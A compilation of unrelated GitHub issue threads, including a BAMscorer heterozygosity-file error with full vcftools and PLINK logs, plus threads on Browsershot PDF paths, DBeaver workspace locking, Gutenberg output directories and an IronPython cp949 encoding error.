*.het file not written in v1.6

Hello
I have a new problem since moving to v1.6.
The select_snps function does not print out the *.divergent_SNPs.txt file.
The *.het file is empty.
I guess this has to do with vcftools but there is no indication of what went wrong with vcftools (see the log file below).
I am running things on our hpc so I don't see what else is printed to screen.
The code is the same as I ran in issue: https://github.com/laneatmore/BAMscorer/issues/1#issue-2122952018
[...]
        --positions LG01_LG01_9600098_26199637_TestRegion_TestData_testdata.divergent_SNPs.txt

Using zlib version: 1.2.11
Warning: Expected at least 2 parts in FORMAT entry: ID=PGT,Number=1,Type=String,Description="Physical phasing haplotype information, describing how the alternate alleles are phased in relation to one another">
Warning: Expected at least 2 parts in FORMAT entry: ID=PID,Number=1,Type=String,Description="Physical phasing ID information, where each unique ID within a given sample (but not across samples) connects records within a phasing group">
Warning: Expected at least 2 parts in FORMAT entry: ID=PL,Number=G,Type=Integer,Description="Normalized, Phred-scaled likelihoods for genotypes as defined in the VCF specification">
Warning: Expected at least 2 parts in FORMAT entry: ID=RGQ,Number=1,Type=Integer,Description="Unconditional reference genotype confidence, encoded as a phred quality -10*log10 p(genotype call is wrong)">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
After filtering, kept 12 out of 12 Individuals
Outputting Individual Heterozygosity
Error: Could not open Positions file: LG01_LG01_9600098_26199637_TestRegion_TestData_testdata.divergent_SNPs.txt
Traceback (most recent call last):
  File "/home/rdaniels/.local/bin/BAMscorer", line 1483, in <module>
    main()
  File "/home/rdaniels/.local/bin/BAMscorer", line 418, in main
    pca_het(OUT)
  File "/home/rdaniels/.local/bin/BAMscorer", line 374, in pca_het
    pc1_txt['het'] = het['F'].values
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4299, in __setitem__
    self._set_item(key, value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4512, in _set_item
    value, refs = self._sanitize_column(value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 5253, in _sanitize_column
    com.require_length_match(value, self.index)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/common.py", line 571, in require_length_match
    raise ValueError(
ValueError: Length of values (0) does not match length of index (12)

After trying different subsets etc. it seems that if I use a file name other than 'LG01' for the output, I will get an error.
For example
[...]
After filtering, kept 12 out of 12 Individuals
Outputting Individual Heterozygosity
Error: Could not open Positions file: LG01_testdata.divergent_SNPs.txt
Traceback (most recent call last):
  File "/home/rdaniels/.local/bin/BAMscorer", line 1483, in <module>
    main()
  File "/home/rdaniels/.local/bin/BAMscorer", line 418, in main
    pca_het(OUT)
  File "/home/rdaniels/.local/bin/BAMscorer", line 374, in pca_het
    pc1_txt['het'] = het['F'].values
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4299, in __setitem__
    self._set_item(key, value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4512, in _set_item
    value, refs = self._sanitize_column(value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 5253, in _sanitize_column
    com.require_length_match(value, self.index)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/common.py", line 571, in require_length_match
    raise ValueError(
ValueError: Length of values (0) does not match length of index (12)

Hi Ryan, I've tested different arguments and prefixes and am unable to replicate this error with BAMscorer v1.6. I don't think there's anything going wrong with VCFtools. There is likely an error earlier in the output that should tell you what the issue is (e.g., dependencies not installed, mismatched filenames). The most likely reason the *.divergent_snps.txt file is not found is because it was never created, which only happens if smartPCA or PLINK is not found for some reason. You can run the test dataset on the command line without submitting a job, so you should be able to see all the output.

Hello
Thank you for having a look. I think I will try downgrading to use 1.5 but I wanted to update here incase it helps.
I reran the commands directly in an interactive slurm session (so no variables or scripts) and I got the same issue as before.
I don't think it is an issue with plink or smartpca not being available as the output (below) includes output from both.
Here is the command:
(/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env) [rdaniels@r483 BAMscore_Test]$ python3.9 ~/.local/bin/BAMscorer select_snps LG01_testdata.vcf.gz LG01_out --map chrom_map

Here are the files in the dir before running the command (all files from the git repo):
BAMs  chrom_map  LG01_testdata.vcf.gz  LG01_testdata.vcf.gz.tbi

Here are the loaded modules:
 1) uppmax   2) bioinfo-tools   3) ANGSD/0.921   4) bcftools/1.19   5) vcftools/0.1.16   6) conda/latest   7) plink/1.90b4.9   8) eigensoft/7.2.1   9) samtools/1.19

Here is the output:
/home/rdaniels/.local/bin/BAMscorer:9: DeprecationWarning:
Pyarrow will become a required dependency of pandas in the next major release of pandas (pandas 3.0),
(to allow more performant data types, such as the Arrow string type, and better interoperability with other libraries)
but was not found to be installed on your system.
If this would cause problems for you,
please provide us feedback at https://github.com/pandas-dev/pandas/issues/54466

  import pandas as pd
running BAMscorer with: LG01_testdata.vcf.gz LG01_out --map chrom_map
Prepping VCF

VCFtools - 0.1.16
(C) Adam Auton and Anthony Marcketta 2009

Parameters as interpreted:
	--gzvcf LG01_testdata.vcf.gz
	--chrom-map chrom_map
	--out LG01_out
	--plink

Using zlib version: 1.2.11
Warning: Expected at least 2 parts in FORMAT entry: ID=PGT,Number=1,Type=String,Description="Physical phasing haplotype information, describing how the alternate alleles are phased in relation to one another">
Warning: Expected at least 2 parts in FORMAT entry: ID=PID,Number=1,Type=String,Description="Physical phasing ID information, where each unique ID within a given sample (but not across samples) connects records within a phasing group">
Warning: Expected at least 2 parts in FORMAT entry: ID=PL,Number=G,Type=Integer,Description="Normalized, Phred-scaled likelihoods for genotypes as defined in the VCF specification">
Warning: Expected at least 2 parts in FORMAT entry: ID=RGQ,Number=1,Type=Integer,Description="Unconditional reference genotype confidence, encoded as a phred quality -10*log10 p(genotype call is wrong)">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
After filtering, kept 12 out of 12 Individuals
Writing PLINK PED and MAP files ...
	Read 1 chromosome mapping file entries.
Done.
After filtering, kept 384531 out of a possible 384531 Sites
Run Time = 4.00 seconds
PLINK v1.90b4.9 64-bit (13 Oct 2017)           www.cog-genomics.org/plink/1.9/
(C) 2005-2017 Shaun Purcell, Christopher Chang   GNU General Public License v3
Logging to LG01_out.log.
Options in effect:
  --allow-extra-chr
  --double-id
  --file LG01_out
  --keep-allele-order
  --make-bed
  --out LG01_out
  --set-missing-var-ids @:#

128373 MB RAM detected; reserving 64186 MB for main workspace.
.ped scan complete (for binary autoconversion).
Performing single-pass .bed write (384531 variants, 12 people).
--file: LG01_out-temporary.bed + LG01_out-temporary.bim +
LG01_out-temporary.fam written.
384531 variants loaded from .bim file.
12 people (0 males, 0 females, 12 ambiguous) loaded from .fam.
Ambiguous sex IDs written to LG01_out.nosex .
Using 1 thread (no multithreaded calculations invoked).
Before main variant filters, 12 founders and 0 nonfounders present.
Calculating allele frequencies... done.
Total genotyping rate is 0.768959.
384531 variants and 12 people pass filters and QC.
Note: No phenotypes present.
--make-bed to LG01_out.bed + LG01_out.bim + LG01_out.fam ... done.
VCF converted to PLINK with chrom_map
parameter file: LG01_out.params.txt
genotypename: LG01_out.bed
snpname: LG01_out.bim
indivname: LG01_out.fam
outputformat: PACKEDANCESTRYMAP
genooutfilename: LG01_out.geno
snpoutfilename: LG01_out.snp
indoutfilename: LG01_out.ind
numchrom: 22
genetic distance set from physical distance
genotype file processed
numvalidind:     12  maxmiss: 12001
packedancestrymap output
##end of convertf run

VCFtools - 0.1.16
(C) Adam Auton and Anthony Marcketta 2009

Parameters as interpreted:
	--gzvcf LG01_testdata.vcf.gz
	--het
	--out LG01_out
	--positions LG01_out.divergent_SNPs.txt

Using zlib version: 1.2.11
Warning: Expected at least 2 parts in FORMAT entry: ID=PGT,Number=1,Type=String,Description="Physical phasing haplotype information, describing how the alternate alleles are phased in relation to one another">
Warning: Expected at least 2 parts in FORMAT entry: ID=PID,Number=1,Type=String,Description="Physical phasing ID information, where each unique ID within a given sample (but not across samples) connects records within a phasing group">
Warning: Expected at least 2 parts in FORMAT entry: ID=PL,Number=G,Type=Integer,Description="Normalized, Phred-scaled likelihoods for genotypes as defined in the VCF specification">
Warning: Expected at least 2 parts in FORMAT entry: ID=RGQ,Number=1,Type=Integer,Description="Unconditional reference genotype confidence, encoded as a phred quality -10*log10 p(genotype call is wrong)">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AC,Number=A,Type=Integer,Description="Allele count in genotypes, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=AF,Number=A,Type=Float,Description="Allele Frequency, for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAC,Number=A,Type=Integer,Description="Maximum likelihood expectation (MLE) for the allele counts (not necessarily the same as the AC), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
Warning: Expected at least 2 parts in INFO entry: ID=MLEAF,Number=A,Type=Float,Description="Maximum likelihood expectation (MLE) for the allele frequency (not necessarily the same as the AF), for each ALT allele, in the same order as listed">
After filtering, kept 12 out of 12 Individuals
Outputting Individual Heterozygosity
Error: Could not open Positions file: LG01_out.divergent_SNPs.txt
Traceback (most recent call last):
  File "/home/rdaniels/.local/bin/BAMscorer", line 1483, in <module>
    main()
  File "/home/rdaniels/.local/bin/BAMscorer", line 418, in main
    pca_het(OUT)
  File "/home/rdaniels/.local/bin/BAMscorer", line 374, in pca_het
    pc1_txt['het'] = het['F'].values
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4299, in __setitem__
    self._set_item(key, value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 4512, in _set_item
    value, refs = self._sanitize_column(value)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/frame.py", line 5253, in _sanitize_column
    com.require_length_match(value, self.index)
  File "/home/rdaniels/Projects/23_herringlowpass/HPC/Analyses/python39-env/lib/python3.9/site-packages/pandas/core/common.py", line 571, in require_length_match
    raise ValueError(
ValueError: Length of values (0) does not match length of index (12)

What command writes the LG01_out.divergent_SNPs.txt file?

The pca_het.txt file is now printed in v1.6. Thank you!


kill audio player when ctrl-c out of jukebox

Fixed by moving from Process.Run to Process.RunAsync and not setting to nil prematurely.


Assimp bindings

Title says it all. Scheduled for 2.0.

This was done as part of #224 and is live in 2.0 Preview 1


Pass an client-unique "opaque_id" to Elasticsearch

Visible in ES tasks API (for example my "top-queries" program): helps identify what process in what stack made the connection

🚀
Is the per client opaque_id different or the same as per request one?

Looks like the same thing.


bump version

cc @xavijam

:+1:

@alonsogarciapablo will take care of updating internal packages, closing this one.


Support S3 forcePathStyle for systems like minio

Added .devcontainer for vscode development in docker
Added support for forcePathStyle on S3 Driver
Tested with minio uploading Avatars and Files onto collection records

Let me know if you'd prefer the toggle moved

In addition, also make sure to run/update the Go tests - see https://github.com/pocketbase/pocketbase/blob/master/CONTRIBUTING.md#making-changes-in-the-go-code

Thank you!
I've merged it locally since the tests had to be updated. It will be included in the next minor bugfix/feature release.


Not working on cloud.ibm.com

Hey!
I was just checking out this amazing new tool you made. I am a Visual Designer on ZaaS Public Cloud Design Squad and I think this can help me a lot. Unfortunately it throws me an error "Carbon not found" when using it on cloud.ibm.com. I am on the latest Chrome on macOS 10.15

Regards
Jan

Hey, thanks for bringing this to my attention! Let me take a look. It's odd because it looks like the grid is overlayed and working, but it's just something odd going on with the pop up over there? Are y'all using custom prefixes?

I think https://github.com/carbon-design-system/devtools/commit/a9df0ec353c2ac92adb014f760010559af18721f fixes this issue. I just packaged it up and submitted it for review under version 2.1.0. Looks like Firefox has already gone live. Chrome usually takes up to a day so keep and eye out for and report back if you get the update and still see the issue.

Looks like this got published overnight via Chrome. Let me know if you're still having problems with this.


Error while compile application

Font asset "IconsaxOutline.ttf" was tree-shaken, reducing it from 355068 to 351032 bytes (1.1% reduction). Tree-shaking can be disabled by providing the --no-tree-shake-icons flag when
building your app.

That's not an error. The tree-shaking process reduced the size of the "IconsaxOutline.ttf" font asset in your app by removing unused icons, resulting in a slight decrease in file size.


Branch for 0.7 models is missing

The link to https://github.com/idio/spotlight-model-editor/tree/feature/code-clean-up-0-7 leads to a 404 page.

Back again. Thanks :+1:


Allow the user to set Transmission's home, download, incomplete and settings dirs

services.transmission.settings is an attrset, you can set whatever you like there and it'll override the default settings. No need to add these extra options.

No matter what I put in services.transmission.settings, the directories that get automatically created and chmod-ed are hardcoded.

Ah, I didn't catch that. Would you mind creating a new PR that takes the values from services.transmission.settings instead of hardcoding (without creating new options)?

Here you go! https://github.com/NixOS/nixpkgs/pull/10158

What's the use case for overriding these directories? I mean, why would you want to store (say) the settings somewhere else?

@edolstra take a look at the PR that takes into account @bjornfor's suggestions: https://github.com/NixOS/nixpkgs/pull/10158
It creates and sets permissions for the directories specified by the user instead of the hard coded ones.

That doesn't explain why you'd want to change those locations. We shouldn't provide options to change something unless there is a good reason.

The current state of the transmission service already allows changing the download and incomplete directories. It fails to assure these directories exist and have the rights permissions.
Changing the download directory is, I would say, the most common changed setting for a bittorrent client.


Schedule email does not send auto email o Scheduled timings

Schedule email does not send auto email o Scheduled timings

I have the same issue as well. May I know what is the solution on this? Thanks.


Getting to pip to download beautiful soup

CD to your Python directory (Hint: cd ..)
CD to Python Scripts (c:\Python27\Scripts\pip.exe install beautifulsoup4)
(pip.exe might be named pip2.7.exe or something else so look up the file name in the Python27\Scripts folder)

This is an improvement.  Merging :-)


escapeinside is fragile with some lexers

(Original issue 1118 created by g_poore on 2015-06-23T22:26:13.182331+00:00)
If I understand correctly, escapeinside works by tokenizing to obtain strings and comments, then merging all non-string and non-comments tokens, then scanning these merged tokens for escapes, and finally scanning everything that wasn't escaped for normal tokens. So it isn't possible to have escapes inside of strings and comments. This triple-scan approach can cause escapeinside to fail in non-obvious ways.
For example, in the bash lexer the backslash \ and immediately following character is treated as a String.Escape token. Because of this, standard LaTeX commands of the form \command will always be treated as starting with a type of string, even when they occur in a region "protected" by escapeinside. More details about this particular case are here.
Basically, any time that the LaTeX code contained within an escape looks like a string or comment for the current lexer, escapeinside may fail. If it would be possible to tokenize everything in a single stage, with escapes having the highest priority, that might be a solution.

Split escapes by strings is certainly wrong. But the other side is also nontrivial. An escape could be in the middle of another token. Split by escapes cuts the token in halves, which may make the lexer unable to parse each. The correct way of doing things would be the lexer reads the entire token and knows there is an escape in this token. The question of handling this enveloping token is better left to other parts such as the formatter.


Error

hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: 	git branch -m
Initialized empty Git repository in /Users/username/Developer/oracle/create-database-app/my-todo/.git/
Application generated successfuly. Run the following command:
cd /Users/username/Developer/oracle/create-database-app/my-todo
npm notice
npm notice New patch version of npm available! 10.8.1 -> 10.8.2
npm notice Changelog: https://github.com/npm/cli/releases/tag/v10.8.2
npm notice To update run: npm install -g<EMAIL_ADDRESS>npm notice

cd /Users/username/Developer/oracle/create-database-app/my-todo
npm notice
Unknown command: "notice"

Hello @omarsawalhah ,
Question: Do you have any special settings in your node configuration?
These messages starting with hint: npm notice seem to appear when npm output is verbose, In reality, npm notice is not a command that should be run but just a debug string printed by NPM.
The command that you should be executing is the cd command. After that, you can start the server using npm run dev. We'll make sure this is explicit in the output for next release.

no special settings, I used
nom run dev
That worked.


Allow ignoring kwargs inside fn_kwargs during dataset.map's fingerprinting

Feature request
dataset.map accepts a fn_kwargs that is passed to fn. Currently, the whole fn_kwargs is used by fingerprint_transform to calculate the new fingerprint.
I'd like to be able to inform fingerprint_transform which fn_kwargs shoud/shouldn't be taken into account during hashing.
Of course, users should be aware to properly use this new feature, just like the internal usages of fingerprint_transform does.
Motivation
This is originally motivated by https://github.com/huggingface/transformers/pull/18351#issuecomment-1263588680.
Nonetheless, consider a more general processing function that accepts a kwarg that does not influence it's output:
def fn(example, verbose=False):
    ...

Then dataset.map(fn, verbose=True) would not benefit from dataset caching.
I'm not sure if other methods in the Dataset API could benefit from this feature.
Your contribution
Based on fingerprint_transform 's wrapper function here, it seems to me that it should be possible to make .map/._map_single accept something like fn_use_fingerprint_kwargs/fn_ignore_fingerprint_kwargs (probably another arg name). This would then be used by fingerprint_transform.wrapper to better/more flexibly hash the transformation.
I could contribute with a PR if this feature and approach look good to you.

Hi ! In the transformers issue the object to not hash is a Pool - I think you can instantiate it inside your function instead of passing it as a parameter. It's good practice that your function and all its fn_kwargs are picklable, in case you want to parallelize map using num_proc>1
For the other case def fn(example, verbose=False): however, I agree it would be nice to let the user specify that "verbose" needs to be ignored.
Do you think providing a decorator could help ? Maybe
@datasets.hashing.register(ignore_kwargs=["verbose"])
def func(example, verbose=False):
    ...

Hi @lhoestq! Thanks for your response.
A Pool shouldn't be instantiated within the function, because there's a huge overhead in doing so. The main idea is that the same Pool should be used across all function calls. Parallel map is not helpful/desired in that specific scenario, because the heavy parallel computation is done by another lib (pyctcdecode, called within transformer's model inference code).
But yes, it makes sense to be able to leverage parallel processing by just doing num_proc>1 when possible.
Your decorator suggestions seems like a pretty clean API to me. I didn't find a datasets.hashing module though. Would it be created for this specific purpose? Any downsides in just using datasets.fingerprint?
And would datasets.hashing.register just add some metadata to func in your approach (so it could be inspected from fingerprint_transform)?
And looking to the datasets.Dataset API, .filter would also benefited from this.

Would it be created for this specific purpose? Any downsides in just using datasets.fingerprint?

This can also go in datasets.fingerprint indeed - but maybe datasets.hashing tells more about what the register function does (i.e. register this function to have a custom hashing) ?

And would datasets.hashing.register just add some metadata to func in your approach (so it could be inspected from fingerprint_transform)?

Yup that's the idea :)

And looking to the datasets.Dataset API, .filter would also benefited from this.

Indeed !

If you would like to contribute this you can assign yourself to this issue by posting #self-assign
And of course if you have questions or if I can help, feel free to ping me !

This can also go in datasets.fingerprint indeed - but maybe datasets.hashing tells more about what the register function does (i.e. register this function to have a custom hashing) ?

Sure, it makes sense.

I don't plan to work on it right now, so I'll let it unassigned in case somebody wants to join. I'll get back at it as soon as possible though.


Structured Arguments in logback-spring boot

How to avoid importing
import static net.logstash.logback.argument.StructuredArguments.*
in all my class files to use "keyValue" to print json logs

If you want to use StructuredArguments in a your class, you will have to import it, or its static methods, just like you have to do for any other class, or static methods, that you want to use.

I don't want to tie up my logging to logstash , I am using logback-spring.xml in my class path .Hence is it possible to hook up this class in that XML instead of importing it every where in my custom class

The logback-spring.xml file only concerns the logback configuration.  If you want to utilize the functionality of StructuredArguments in your java classes, then your java classes will have to import StructuredArguments.
If you wanted to provide a layer of abstraction, you could define your own class with the same methods as the StructuredArguments class, and delegate those methods to StructuredArguments, then you could import your class in your code instead of StructuredArguments.


[Bug]: In live server I can't generating my pdf

What happened?
In live server I can't generating my pdf without follwing paths that I've described bleow and I've also installed browsershot version ( 4.1.1 ) .
$pdf = Browsershot::html($html)
->format('A4')
->waitUntilNetworkIdle()
->setNodeBinary('C:\Program Files\nodejs\node.exe')
->setNpmBinary('C:\Program Files\nodejs\npm.cmd')
->setChromePath('C:\Program Files\Google\Chrome\Application\chrome.exe')
->timeout(120)
->save($output_path);
How to reproduce the bug
it's woks on locally but when I live the project it's not working because locally I've set location of follwing path
->setNodeBinary('C:\Program Files\nodejs\node.exe')
->setNpmBinary('C:\Program Files\nodejs\npm.cmd')
->setChromePath('C:\Program Files\Google\Chrome\Application\chrome.exe') but In live I couldn't
Package Version
1.5.1
PHP Version
8.2.12
Laravel Version
11
Which operating systems does with happen with?
No response
Notes
No response

@ahgalib
I strongly suggest different solutions:
First use Browsershot as headless
Add headless option from browsershot:
->withBrowsershot(function (Browsershot $browsershot) {
    $browsershot->newHeadless();
})

Your code should look like this:
$pdf = Browsershot::html($html)
    ->format('A4')
    ->waitUntilNetworkIdle()
    ->timeout(120)
    ->withBrowsershot(function (Browsershot $browsershot) {
        $browsershot->newHeadless();
    })
    ->save($output_path);

Second approach Operate Browsershot without sandboxing
Using ->noSandbox() ensures that Browsershot operates without sandboxing restrictions, which resolves common issues related to sandboxing errors when generating PDFs.
->withBrowsershot(function (Browsershot $browsershot) {
     // Ensure Browsershot works without node command recognition issues
    $browsershot->noNodeInstallation()->noSandbox()->scale(0.5);
})

Note: This solution is particularly effective on Windows where sandboxing configurations may differ from Unix-based systems.
3 Adding custom paths for every environment
Probably running something like this would work:
$pdf = Browsershot::html($html)
    ->format('A4')
    ->waitUntilNetworkIdle()
    ->timeout(120)
    ->save($output_path);

if (app()->isLocal()) {
    return $pdf->setNodeBinary('C:\Program Files\nodejs\node.exe')
        ->setNpmBinary('C:\Program Files\nodejs\npm.cmd')
        ->setChromePath('C:\Program Files\Google\Chrome\Application\chrome.exe');
}

return $pdf->setNodeBinary('path-in-your-server-to/node.exe')
        ->setNpmBinary('/path-in-your-server-to/npm.cmd')
        ->setChromePath('path-in-your-server-to/chrome.exe');

Please let me know if some of this solution works and what is the solution that works for you (if works 😄 ).


ADD command line option: autoanswer Ignore to "Can't lock workspace"

use case
I use multiple instances of DBeavers with the same workspace, which I run with a keyboard shortcut (often in a hurry).
I am already using the command line parameters  -closeTabs and -disconnectAll to get a sanitized workspace, but I have to manually click the "Ignore" option every time the "Can't lock workspace" error comes up when starting up:
Can't lock workspace at /home/allan/.dbeaver4.
It seems that you have another DBeaver instance running.
You may ignore it and work without lock but it is recommended to shutdown previous instance otherwise you may corrupt workspace data.

solution
a command line option to automatically ignore that error and continue starting DBeaver (to use at my own peril)

That's easy.
New CLI option: -reuseWorkspace

will it become available in 4.2.4 ?

Yep


Relative path tar issue with --distribute

The --distribute option will make a tarball for the DSC benchmark along with meta data for query results and for recovering file status (without rerunning) in a different computational environment. But default, --distribute without additional parameter will only pack the results and meta. One has to include other resources used in --distribute.
Now in dsc2-omega for example, all scripts are under ../src. So the command to distribute is:
dsc --distribute ../src -o dsc_omega

It will make the tarball successfully. However on Mac it will refuse to unpack because of the relative file path. On Linux it unpacks fine, but it will remove the relative file path so that the scripts will now be lying under the same folder as everything else, creating an inconsistency with the DSC specification.
One option is to add an additional --unpack switch to dsc to let dsc does the job so that I can customize it. But I'm hesitated adding any additional switch to the interface. The other is to figure out the proper Linux / Mac command that unpacks the tarball flawlessly in this situation.

I had tried briefly how it looks like to tie this unpack again via annotation configurations but I really dislike that interface. I am afraid it has to be either a new command argument, or "wontfix", if we cannot find a native tar solution.

Marked it wontfix -- even if this is fixed, the success of --distribute command still depends on whether users can remember to specify everything used, and even so, there is no guarantee that files included will match exactly the version used to generate the results. Failing to find a perfect solution, this command no longer warrants reproduciblity thus is removed.


template node "property" change

bring into uniformity with other nodes
other nodes use プロパティ = Property
this node using 設定先 = Setting destination

[X] Bugfix (non-breaking change which fixes an issue)
[X] I have read the contribution guidelines

Coverage remained the same at 76.466% when pulling e6ddf530c57282d71b67a139b76a59b6815bb19a on meeki007:patch-4 into c685a310560ae9af4b28e14ed466ec788a66984c on node-red:master.

Manually merged with your other PRs into the dev branch for 0.20


Add --output-dir parameters to commands 'serve' and 'build'

This is useful for example when you want to generate a site to a different document-root.

This is useful for example when you want to generate a site to a different document-root.

What are the reasons against using the default one?

I'd like to create several themes that can work together with the same content.
Currently, I use gutenberg build && mv public var/www/something.
It would be convienient to render different variants by just changing the theme = something in the config.toml file, gutenberg --base-url https://example/com/something --output-dir var/www/something.
(Ideally, an additional '--config-file config_something.toml' parameter, would make this perfect.)

Looks like tests are failing now. Can you also remove my commit from your branch?

There's still my commit in the list. You can probably just merge all your commits and delete mine to fix it

Sorry; my git knowledge is not sufficient.
That is why I manually reverted your commit.
Could you guide me through the needed steps?

So that would look something like:
$ git rebase -i HEAD~7 // (7 here is a number representing all the commits in the branch, the one at the top should be mine)

On my commit and the manual revert replace pick with d. On all other commits except your first one, replace pick with s.
Another approach but which would require a new PR I believe would be to do git rebase -i HEAD~6, drop the manual merge in the interface and use s for all commits except the first one and copy that resulting commit hash.
On a new branch based on next, you can git cherry-pick myhash to move the commit onto that new branch.

Ha I think the rebase merging got some earlier commits. Git  😨
I'll add the changes locally myself and push to the branch directly

I've added the changes in https://github.com/Keats/gutenberg/pull/175/commits/14edd2b875cf5ed437229313823656ee1f3aeb45
Thanks!


Make Kubernetes cluster prefixes configurable

Description

Added optional fields to Kubernetes cluster schema for existing prefixes in which the cluster should be deployed.
Checklist

[x] added release notes to Unreleased section in CHANGELOG.md, if user facing change

References

Community Note

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Needs go-anxcloud release before merge.

The failing test is unrelated (need to configure new VLAN(s) and Prefix(es)).

The failing test is unrelated (need to configure new VLAN(s) and Prefix(es)).

can we get this done before merging this?

The failing test is unrelated (need to configure new VLAN(s) and Prefix(es)).

can we get this done before merging this?

Fixed in #125


Incorrect relation direction for has_input

In our glycolysis model,
http://noctua.geneontology.org/workbench/noctua-visual-pathway-editor/?model_id=gomodel:663d668500002302
hexose is annotated as input_of  hxk1 & hxk2(the only option in Noctua)

but in the widget, this comes out as has_input

I don't object to the inversion of the relation, but the "arrow" appears to be the wrong way around.
I would read this diagram as "D-hexose" has_input hxk2 rather than hxk2 has_input hexose
Has_output  at the end of the model is fine.

This one isn't fixed in AmiGO either


Upgrade libs

Removed the upgrade of yeoman-generator to 0.20.  There are a lot of depreciations as they move towards 1.0.


Lookuperror: unknown encoding: cp949

I installed Ironpython V3.4.1 on windows10, which is based on Korean.
Then, the following command was executed on the IronPython Console.
『cp949』 items were printed in the results performed.
However, if the same command is executed in my program implemented in c#, only the 『cp949』 item is missing.

If I run the code below, the console will perform in normally.
with open(path, 'r') as f:   content = f.read()		#problem line
But, the following error occurs in my program developed with c#.

Lookuperror: unknown encoding: cp949

Is the reason for this problem related to the above?

The command line and C# program could have different default encodings. What value does f.encoding give you?
Is your file really using the cp949 encoding? If not you could pass in an explicit encoding, for example if it's utf-8: open(path, 'r', encoding='utf-8').
cp949 is not available because we don't have an implementation for _codecs_kr. Related issue: https://github.com/IronLanguages/ironpython2/issues/659

I excuted the following commands in each program respectively.
>>>sys.getdefaultencodnig()  --> 'utf_8'

The same results were displayed on both the ironpython console and c# program

The following code also causes an encoding error in c# program(based on ironpython 3.4.1)
os.popen(uabswitchcmdpath + ' -v').read()
